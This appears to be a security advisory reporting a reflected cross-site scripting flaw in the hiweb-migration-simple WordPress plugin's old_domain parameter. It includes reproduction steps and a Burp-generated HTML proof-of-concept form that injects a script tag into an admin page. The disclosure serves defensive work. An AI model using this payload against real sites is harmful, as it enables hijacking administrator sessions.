The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high-privilege users such as admins. The hiweb-migration-simple plugin is vulnerable to POST based XSS on endpoint http://172.28.128.6/wordpress/wp-admin/tools.php?page=hw_migration_simple via POST parameter old_domain
. This happens because of improper handling of user supplied input that is reflected on the page.
1. Login as Admin.
2. Open the .html file in the same browser session.
```
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://172.28.128.6/wordpress/wp-admin/tools.php?page=hw_migration_simple" method="POST">
<input type="hidden" name="old_domain" value="<script>alert(document.domain)</script>" />
<input type="hidden" name="new_domain" value="http://qwer.com" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
```
3. XSS will be triggered.